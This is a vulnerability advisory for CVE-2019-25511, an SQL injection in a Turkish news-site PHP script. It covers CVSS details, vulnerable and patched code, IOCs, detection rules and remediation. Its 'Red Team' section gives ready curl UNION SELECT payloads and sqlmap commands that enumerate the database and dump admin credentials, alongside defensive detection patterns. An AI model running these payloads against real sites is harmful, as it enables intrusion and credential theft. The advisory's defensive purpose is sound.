CVE-2019-25511
Executive Summary
CVE-2019-25511 is an unauthenticated SQL injection vulnerability in Jettweb PHP Hazir Haber Sitesi Scripti V3, a Turkish news website script. The flaw resides in the videoid parameter of fonksiyonlar.php, allowing attackers to inject arbitrary SQL queries via GET requests. Successful exploitation enables extraction of the entire database, including user credentials and sensitive site data. No official patch exists, and the vendor appears unresponsive. This vulnerability is actively weaponized by low-sophistication threat actors using UNION-based injection techniques.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications apply.
CVSS Breakdown & Threat Level
Base Score: 9.8 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: None (UI:N) – no victim action needed.
- Scope: Unchanged (S:U) – vulnerable component only.
- Confidentiality Impact: High (C:H) – full database read.
- Integrity Impact: High (I:H) – data can be modified via stacked queries.
- Availability Impact: High (A:H) – potential denial of service via heavy queries.
EPSS Score: 0.0% (low probability of exploitation in the wild, but manual exploitation is trivial).
Deep Dive & Mechanics
The vulnerability exists in fonksiyonlar.php, which handles video-related functionality. The videoid parameter is directly concatenated into an SQL query without sanitization or parameterization. An attacker can inject a UNION SELECT statement to retrieve arbitrary data from the database.
Vulnerable Code Snippet (conceptual):
$id = $_GET['videoid'];
$query = "SELECT * FROM videos WHERE id = $id";
$result = mysqli_query($conn, $query);
Exploitation Mechanics:
- The attacker sends a GET request to
fonksiyonlar.php?videoid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100. - The server returns the result of the UNION query, revealing column numbers and data types.
- The attacker then extracts database names, table names, and column names using
information_schema. - Finally, sensitive data (e.g., admin credentials) is dumped.
Database Schema (likely):
admintable:id,username,password,emailvideostable:id,title,url,description
Vulnerable vs. Patched Code
Vulnerable Code (fonksiyonlar.php):
$videoid = $_GET['videoid'];
$sql = "SELECT * FROM videos WHERE id = $videoid";
$result = mysqli_query($conn, $sql);
Patched Code (recommended):
$videoid = intval($_GET['videoid']);
$sql = "SELECT * FROM videos WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $videoid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
Key Differences:
- Input is cast to integer (
intval) to prevent non-numeric injection. - Parameterized query with prepared statements eliminates SQL injection entirely.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Environment:
- Target: Jettweb PHP Hazir Haber Sitesi Scripti V3 running on Apache/Nginx with PHP 5.6+ and MySQL.
- Attacker: Kali Linux with sqlmap or manual curl.
Manual Exploitation:
- Enumerate columns:
curl "http://target.com/fonksiyonlar.php?videoid=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100"
- Extract database names:
curl "http://target.com/fonksiyonlar.php?videoid=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100%20FROM%20information_schema.schemata"
- Dump admin credentials:
curl "http://target.com/fonksiyonlar.php?videoid=1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100%20FROM%20admin"
Automated Exploitation with sqlmap:
sqlmap -u "http://target.com/fonksiyonlar.php?videoid=1" --batch --dbs
sqlmap -u "http://target.com/fonksiyonlar.php?videoid=1" --batch -D <dbname> --tables
sqlmap -u "http://target.com/fonksiyonlar.php?videoid=1" --batch -D <dbname> -T admin --dump
Blue Team (Defensive)
Detection:
- Monitor for GET requests to
fonksiyonlar.phpwithvideoidcontaining SQL keywords (UNION,SELECT,FROM,INFORMATION_SCHEMA). - Alert on abnormal response sizes or database error messages.
Mitigation:
- Immediately apply input validation (intval) and parameterized queries.
- Use a Web Application Firewall (WAF) to block SQL injection patterns.
- Restrict database user privileges to least privilege.
Indicators of Compromise (IOCs)
Network IOCs:
- GET requests to
/fonksiyonlar.php?videoid=with SQL injection payloads. - User-Agent strings from sqlmap or custom scripts.
- Outbound database traffic from the web server to MySQL (port 3306) from unexpected sources.
File IOCs:
- Modified
fonksiyonlar.phpwith backdoor code. - Suspicious files in the web root (e.g.,
shell.php,cmd.php).
Log IOCs:
- Apache/Nginx access logs showing
UNION SELECTin query strings. - MySQL general log showing
UNION SELECTqueries from the web user.
Detection Engineering
YARA Rule
rule CVE_2019_25511_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2019-25511 in Jettweb PHP script"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25511"
strings:
$sqli1 = /videoid=.*UNION.*SELECT/i
$sqli2 = /videoid=.*INFORMATION_SCHEMA/i
$sqli3 = /videoid=.*--/i
$sqli4 = /videoid=.*%27/i
condition:
any of them
}
Sigma Rule
title: CVE-2019-25511 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Jettweb PHP script via videoid parameter
author: Valters IT
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-uri-query|contains:
- 'videoid='
- 'UNION'
- 'SELECT'
- 'INFORMATION_SCHEMA'
condition: selection
falsepositives:
- Legitimate use of UNION in rare cases (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2019-25511 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/fonksiyonlar.php"; http_uri; content:"videoid="; http_uri; pcre:"/UNION.*SELECT/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the vulnerable server from the internet if possible.
- Apply virtual patching via WAF rules blocking
videoidwith SQL keywords. - Manually patch
fonksiyonlar.phpby replacing the vulnerable code with parameterized queries (see patched code above).
Long-Term Fixes:
- Upgrade to a maintained CMS or rewrite the application using secure coding practices.
- Implement input validation for all GET/POST parameters.
- Use prepared statements for all database interactions.
- Conduct regular security audits and penetration testing.
Workarounds:
- Disable the video functionality by removing or renaming
fonksiyonlar.php. - Restrict access to
fonksiyonlar.phpvia.htaccess(e.g., allow only specific IPs).
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert